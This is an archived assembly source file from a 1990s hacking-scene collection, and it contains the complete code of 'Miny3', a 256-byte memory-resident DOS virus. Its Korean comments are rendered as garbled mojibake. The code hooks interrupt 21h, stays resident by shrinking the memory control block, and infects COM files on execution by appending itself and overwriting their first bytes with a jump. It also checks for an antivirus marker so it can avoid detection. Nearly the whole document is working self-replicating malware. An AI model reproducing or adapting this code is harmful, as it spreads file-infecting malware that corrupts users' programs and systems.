home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Collection of Hack-Phreak Scene Programs
/
cleanhpvac.zip
/
cleanhpvac
/
KOREACOL.ZIP
/
MINY.ZIP
/
MINY3.ZIP
/
MY3-256.ASM
< prev
next >
Wrap
Assembly Source File
|
1995-06-01
|
9KB
|
198 lines
;******************************************************************************
;* MINY3.256 ña╖í£ß»a ¡í»a *
;* *
;* *
;* úíôí3 »íƒí╗a║ù╡A ╨aÉa¥í èé¼e ña╖í£ß»a╖ÑòA êa╕w ï⌐╖íêa ╝l╖eê⌡╖a¥í ┤i¥a *
;* ╣a ╖╢öa. COM áeêq╡qûAôe £æ¼w║ü ña╖í£ß»a╖íöa. *
;* *
;* *
;* *
;******************************************************************************
PARASIZE EQU (TVirEND - Start + 0Fh) SHR 4 ; £æ╡A¼ß └a╗í╨aôe ╟aïí
VIRUS SEGMENT PARA 'VIRUS'
ASSUME CS:VIRUS, DS:VIRUS
Start:
call Next ; ña╖í£ß»a ¼w║ü₧ü╦Ñ╖a¥í ╕±╧a
;**************************************************
; ¼ü¥í╢à 21h ñσ ╖Ñ╚ߣ≤╦a
;**************************************************
NewInt21:
xchg ah,al ; AH,AL êt ñaÄüïí
cmp al,4Bh ; »⌐╨ù╖Ñêa?
jnz J_Int21
cmp ah,30h ; £æ ¼w║ü ╡aªü ê±¼a╖Ñêa?
jnz Push_All
xor ax,ax ; áx╖aíe 0000╖i ò⌐¥a║æ
IRET
Push_All: ; ¥A╗í»a╚ß ╕ß╕w
Pushf
Push ax
Push bx
Push cx
Push dx
Push ds
Push si
mov ax,3D02h ; ╠a╖⌐ ╡í╧e ╨aïí
Int 21h
jc Pop_All ; ╡A£ßíe Å{Éüïí
push cs ; CS=DS
pop ds
xchg bx,ax ; BX=╠a╖⌐ ╨àùi
Read_File:
mov ah,3Fh ; ╖¬┤ß ùi╖íïí
mov dx,offset Org4bytes ; 4 ña╖í╦a
mov si,dx ; SI=╖¬╖e ║ü¡í
mov cx,0004h ; ï⌐╖í
int 21h
ChkFileisEXE:
cmp byte ptr [SI],'M' ; EXE ╠a╖⌐ ╖Ñêa?
jz Close_File ; EXE áe ╠a╖⌐ ╟i¥í╗a
Infect_COM:
cmp byte ptr [SI+3],43h ; êq╡q╡aªü ê±¼a
jz Close_File ; (V3╖ü ëw╢ü ╖íêt╖i êa╗íúa¥í
; êq╡q┤eûQ)
mov al,02h ; ╠a╖⌐╖ü ╣A╖⌐ ûߥí
call Set_Pnt
cmp ax,1234 ; 1234 Ñíöa ╕b╖eêa?
jb Close_File
cmp ax,65000 ; 65000 Ñíöa ╟eêa?
ja Close_File
sub ax,0003 ; ╠a╖⌐ ï⌐╖í-3 = ╕±╧a╨i ╢ß├í
mov word ptr Filehead+1,ax
mov byte ptr Filehead+3,43h ; êq╡q╡aªü óà╕a╡i
mov ah,40h ; ña╖í£ß»a │aïí
mov cx, offset VirEND ; ï⌐╖í (256 ña╖í╦a)
xor dx,dx ; ñß╠ß
Int 21h
mov al,00h ; ╠a╖⌐╖ü └ß╖q╖a¥í ╖íò╖
call Set_Pnt
mov ah,40h ; ña╖í£ß»a │aïí
mov dx, offset FileHead ; (┤|ªüªà╡A ╨üöw)
mov cx,0004h ; Jump íw¥wîa╗í ═í╨q╨ü¼ß 4ña╖í
Int 21h ; ╦a
Close_File: ; ╠a╖⌐ öhïí
mov ah,3eh ; ¡ó¼≈,Éi╝aùw╖e êq╡qûIÿü ñaÄσ
Int 21h ; öa.
Pop_All: ; ¥A╗í»a╚ß Ñóèü
Pop si
Pop ds
Pop dx
Pop cx
Pop bx
Pop ax
Popf
J_Int21: ; ╢Ñ£ü int 21¥í ╕±╧a
xchg ah,al
DB 0EAh ; JMP íw¥w
OldInt21 DD ?
;*************************************************
; ña╖í£ß»a £æ ¼w║ü ╠a╦a
;*************************************************
Next: pop BP ; BP╡A CALL ╖í ╤í┬ëûE öa╖qêt
sub bp, +03 ; -3 ╨aíe ña╖í£ß»a »í╕b╕±
mov AX,304Bh ; £æ ¼w║ü ╡aªü ê±¼a
xchg ah,al ; AX=4B30
Int 21h ;
or ax,ax ; AX êt╖í 0000╖ííe £æ╡A ña╖í£ß»aêa ╣Ñ╕ü
jz Restart_COM ; ╖íúí £æ╡A ña╖í£ß»aêa ╖╢╖i ëw╢ü
mov ah,0F0h ; ªë╧⌐╢a
mov ch,'S' ; ªë╧⌐╢a
MOV BX,ES ; MCB èü╨aïí
NOP
DEC BX ; -1 : Memory Control Block
mov ds,bx
NOP
xor bx,bx ; BX=0000
Inc bl ; BL=01
cmp byte ptr [BX-1],'Z' ; áa╗íáb ºi£Γ╖Ñêa?
jnz Restart_COM ; ┤aôííe £æ ¼w║ü ┤e╨q
NOP
mov AX, PARASIZE ; ║ë╖⌐ £æ ╟aïí
sub word ptr [BX+02],AX ; ºi£Γ ¼a╖í╗a(BX=0003)
NOP
sub word ptr [BX+11h],AX ; öa╖q íAííƒí ºi£Γ╖ü ¡Aïaáσ╦a ñσ╗í
mov cl,'V' ; BX=0012 (mov cl,'V'ôe ªë╧⌐╢a╨q)
mov es,word ptr [BX+11h] ; ╡½ï⌐ ║ü¡í
; Int 21h êa¥í└üïí
xor ax,ax ; DS=0000
mov ds,ax
lds AX, [BX+83h] ; DI=0084h
mov word ptr ss:[BP+OldInt21+2],DS
mov word ptr ss:[BP+OldInt21],AX
push cs ; ña╖í£ß»aƒi ┬A¼w╢ߥí Ñó¼a╨eöa.
pop ds
mov si,BP ; SI=ña╖í£ß»a »í╕b╕±
xor di,di
mov cx,offset TVirEND ; ╡½ï⌐ï⌐╖í
cld
repz movsb ; Ñó¼a
mov ds,cx ; Int 21h ƒi └a╗í╨eöa.
cli
mov word ptr [BX+85h],es ;
mov word ptr [BX+83h],offset NewInt21
sti
Restart_COM:
mov si,BP ; SI = »í╕b╕±
push cs
pop ds
push cs ; ds=es
pop es
; ╢Ñ£ü ╧a¥íïa£æ »⌐╨ù╨aïí
add si,offset Org4bytes ; ╢Ñ£ü íw¥w┤ßêa ╕ß╕wûE ║ü¡í
mov di,0100h ; └ß╖q╖ü 4 ña╖í╦a Ñóèü
push di
movsw ; Ñó¼a
movsw
RET ; ╕ü»⌐╨ù
NOP
Org4bytes db 90h,90h,0cdh,20h ; ╢Ñ£ü 4 ña╖í╦a╖ü êt
Set_Pnt: ; ╢ß├í ╖íò╖ íw¥w
mov ah,42h
xor cx,cx
xor dx,dx
Int 21h
RET
DB 'Miny3' ; ña╖í£ß»a ╖íƒq
FileHead DB 0E9h ; JMP íw¥w
; ╡aïíªü╚ß ╠a╖⌐╡Aôe ┤e│a╡a╗▒
VirEND: ; êq╡qûI ╠a╖⌐ ┤|ªüªà╡A │a╖⌐
DB ?,?,? ; íw¥w
TVirEND: ; £æ╡A¼ß ╣Ñ╕ü╨aôe ï⌐╖í
VIRUS ENDS
end start